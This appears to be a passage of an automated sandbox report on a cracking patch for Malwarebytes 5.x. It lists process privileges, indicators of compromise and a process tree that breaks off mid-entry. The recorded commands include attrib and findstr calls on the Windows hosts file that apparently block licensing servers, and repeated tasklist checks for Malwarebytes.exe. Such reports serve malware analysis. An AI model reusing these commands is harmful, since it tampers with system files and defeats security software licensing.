Token: SeIncBasePriorityPrivilege	2504	mbamservice.exe
Token: 33	4360	mbamservice.exe
Token: SeIncBasePriorityPrivilege	4360	mbamservice.exe
Token: SeRestorePrivilege	4360	mbamservice.exe
Token: SeTakeOwnershipPrivilege	4360	mbamservice.exe
Token: SeRestorePrivilege	4360	mbamservice.exe
Token: SeBackupPrivilege	4360	mbamservice.exe
Token: SeRestorePrivilege	4360	mbamservice.exe
Token: SeTakeOwnershipPrivilege	4360	mbamservice.exe
Token: SeRestorePrivilege	4360	mbamservice.exe
Token: SeBackupPrivilege	4360	mbamservice.exe
Token: SeRestorePrivilege	4360	mbamservice.exe
Token: SeBackupPrivilege	4360	mbamservice.exe
Token: SeAssignPrimaryTokenPrivilege	4360	mbamservice.exe
Token: SeIncreaseQuotaPrivilege	4360	mbamservice.exe
Token: SeSecurityPrivilege	4360	mbamservice.exe
Token: SeTakeOwnershipPrivilege	4360	mbamservice.exe
Token: SeLoadDriverPrivilege	4360	mbamservice.exe
Token: SeSystemtimePrivilege	4360	mbamservice.exe
Token: SeBackupPrivilege	4360	mbamservice.exe
Token: SeRestorePrivilege	4360	mbamservice.exe
Token: SeShutdownPrivilege	4360	mbamservice.exe
Token: SeSystemEnvironmentPrivilege	4360	mbamservice.exe
Token: SeUndockPrivilege	4360	mbamservice.exe
Token: SeManageVolumePrivilege	4360	mbamservice.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeSecurityPrivilege	4360	mbamservice.exe
Token: SeSecurityPrivilege	4360	mbamservice.exe
Token: 33	1160	mbamservice.exe
Token: SeIncBasePriorityPrivilege	1160	mbamservice.exe
Token: SeIncreaseQuotaPrivilege	3792	WMIC.exe
Token: SeSecurityPrivilege	3792	WMIC.exe
Token: SeTakeOwnershipPrivilege	3792	WMIC.exe
Token: SeLoadDriverPrivilege	3792	WMIC.exe
Token: SeSystemProfilePrivilege	3792	WMIC.exe
Token: SeSystemtimePrivilege	3792	WMIC.exe
Token: SeProfSingleProcessPrivilege	3792	WMIC.exe
Token: SeIncBasePriorityPrivilege	3792	WMIC.exe
Token: SeCreatePagefilePrivilege	3792	WMIC.exe
Token: SeBackupPrivilege	3792	WMIC.exe
Token: SeRestorePrivilege	3792	WMIC.exe
Token: SeShutdownPrivilege	3792	WMIC.exe
Token: SeDebugPrivilege	3792	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3792	WMIC.exe
Token: SeRemoteShutdownPrivilege	3792	WMIC.exe
Token: SeUndockPrivilege	3792	WMIC.exe
Token: SeManageVolumePrivilege	3792	WMIC.exe
Token: 33	3792	WMIC.exe
Token: 34	3792	WMIC.exe
Token: 35	3792	WMIC.exe
Token: 36	3792	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3792	WMIC.exe
Token: SeSecurityPrivilege	3792	WMIC.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3912	rs.tmp
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
1060	_iu14D2N.tmp

Suspicious use of SendNotifyMessage 21 IoCs

pid	Process
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe
3736	mbamtray.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3624 wrote to memory of 2592	3624	Patch_MB_5.x.exe	87
PID 2592 wrote to memory of 5036	2592	cmd.exe	89
PID 2592 wrote to memory of 64	2592	cmd.exe	90
PID 2592 wrote to memory of 4272	2592	cmd.exe	91
PID 4272 wrote to memory of 4964	4272	cmd.exe	92
PID 2592 wrote to memory of 2160	2592	cmd.exe	93
PID 2160 wrote to memory of 3016	2160	cmd.exe	94
PID 2592 wrote to memory of 1080	2592	cmd.exe	95
PID 2592 wrote to memory of 3420	2592	cmd.exe	97
PID 1080 wrote to memory of 4928	1080	cmd.exe	98
PID 2592 wrote to memory of 4396	2592	cmd.exe	99
PID 1080 wrote to memory of 2080	1080	cmd.exe	100
PID 1080 wrote to memory of 4824	1080	cmd.exe	101
PID 1080 wrote to memory of 2656	1080	cmd.exe	102
PID 1080 wrote to memory of 1908	1080	cmd.exe	103
PID 1908 wrote to memory of 2176	1908	cmd.exe	104
PID 1908 wrote to memory of 4220	1908	cmd.exe	105
PID 2592 wrote to memory of 3172	2592	cmd.exe	106
PID 1080 wrote to memory of 3568	1080	cmd.exe	107
PID 2592 wrote to memory of 2512	2592	cmd.exe	108
PID 2512 wrote to memory of 4924	2512	powershell.exe	109
PID 4924 wrote to memory of 3912	4924	rs.exe	110
PID 1080 wrote to memory of 4108	1080	cmd.exe	113
PID 3912 wrote to memory of 1832	3912	rs.tmp	118
PID 3912 wrote to memory of 2456	3912	rs.tmp	120
PID 3912 wrote to memory of 2504	3912	rs.tmp	122
PID 1080 wrote to memory of 2908	1080	cmd.exe	125
PID 1080 wrote to memory of 4192	1080	cmd.exe	133
PID 1080 wrote to memory of 3532	1080	cmd.exe	137
PID 4360 wrote to memory of 3736	4360	mbamservice.exe	139
PID 1080 wrote to memory of 1156	1080	cmd.exe	143
PID 1080 wrote to memory of 4028	1080	cmd.exe	146
PID 1080 wrote to memory of 4668	1080	cmd.exe	148
PID 2592 wrote to memory of 4916	2592	cmd.exe	153
PID 1080 wrote to memory of 3324	1080	cmd.exe	154
PID 2592 wrote to memory of 440	2592	cmd.exe	158
PID 1080 wrote to memory of 3432	1080	cmd.exe	159
PID 2592 wrote to memory of 4764	2592	cmd.exe	160
PID 2592 wrote to memory of 4388	2592	cmd.exe	161
PID 2592 wrote to memory of 2044	2592	cmd.exe	162
PID 2044 wrote to memory of 4332	2044	powershell.exe	163
PID 4332 wrote to memory of 1060	4332	unins000.exe	164
PID 1060 wrote to memory of 1160	1060	_iu14D2N.tmp	166
PID 1080 wrote to memory of 4392	1080	cmd.exe	167
PID 1060 wrote to memory of 3192	1060	_iu14D2N.tmp	203
PID 1060 wrote to memory of 2264	1060	_iu14D2N.tmp	169
PID 2592 wrote to memory of 5108	2592	cmd.exe	172
PID 5108 wrote to memory of 3792	5108	cmd.exe	214
PID 2592 wrote to memory of 4500	2592	cmd.exe	174
PID 4500 wrote to memory of 852	4500	cmd.exe	175
PID 2592 wrote to memory of 2628	2592	cmd.exe	255
PID 2592 wrote to memory of 2952	2592	cmd.exe	177
PID 2592 wrote to memory of 2640	2592	cmd.exe	178
PID 2640 wrote to memory of 3372	2640	cmd.exe	179
PID 2592 wrote to memory of 3752	2592	cmd.exe	180
PID 3752 wrote to memory of 4488	3752	cmd.exe	181
PID 2592 wrote to memory of 5116	2592	cmd.exe	182
PID 5116 wrote to memory of 3516	5116	cmd.exe	253
PID 2592 wrote to memory of 3656	2592	cmd.exe	184
PID 3656 wrote to memory of 1140	3656	cmd.exe	185
PID 2592 wrote to memory of 4800	2592	cmd.exe	186
PID 4800 wrote to memory of 2140	4800	cmd.exe	187
PID 2592 wrote to memory of 796	2592	cmd.exe	188
PID 796 wrote to memory of 2236	796	cmd.exe	263

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
64	attrib.exe
440	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Patch_MB_5.x.exe
"C:\Users\Admin\AppData\Local\Temp\Patch_MB_5.x.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8YL9NO1H.bat" "C:\Users\Admin\AppData\Local\Temp\Patch_MB_5.x.exe""
  2⤵
  - Drops file in Drivers directory
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Users\Admin\AppData\Local\Temp\qbE584D21.BC\7z2201.exe
    "C:\Users\Admin\AppData\Local\Temp\qbE584D21.BC\7z2201.exe" /S
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:5036
- - C:\Windows\system32\attrib.exe
    attrib -r C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Drops file in Drivers directory
    - Views/modifies file attributes
    PID:64
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr "keystone" "C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\system32\findstr.exe
      findstr "keystone" "C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr "holocron" "C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2160
  - - C:\Windows\system32\findstr.exe
      findstr "holocron" "C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:3016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\pb.cmd"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1080
  - - C:\Windows\system32\mode.com
      mode con:cols=86 lines=36
      4⤵
      PID:4928
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2080
  - - C:\Windows\system32\mode.com
      mode 70,4
      4⤵
      PID:4824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c copy/Z "C:\Users\Admin\AppData\Local\Temp\pb.cmd" nul
      4⤵
      PID:2656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c echo prompt $H|cmd
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1908
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo prompt $H"
        5⤵
        
        PID:2176
    - - C:\Windows\system32\cmd.exe
        
        cmd
        5⤵
        
        PID:4220
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3568
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4108
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:2908
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4192
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3532
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:1156
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4028
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4668
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3324
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3432
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4392
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3792
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:4028
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3252
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:3828
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:2552
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:5004
  - - C:\Windows\system32\timeout.exe
      timeout.exe 5
      4⤵
      Delays execution with timeout.exe
      PID:2068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:228
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4380
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3488
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:816
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2180
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4372
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1628
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:4584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4708
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2616
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:964
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4580
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2456
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3516
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2628
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3552
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4608
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1996
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2236
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3104
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2192
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2344
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:724
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4400
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2776
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1340
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:564
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3428
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3368
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4416
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:1244
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4596
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2964
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4636
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:2104
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:3304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3580
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4180
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4700
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3744
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3832
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:516
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3964
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3252
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3596
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3328
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1012
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3700
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4628
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4396
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:560
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:440
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3228
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:220
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:824
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4976
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4764
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4960
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:768
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4584
  - - C:\Windows\system32\cmd.exe
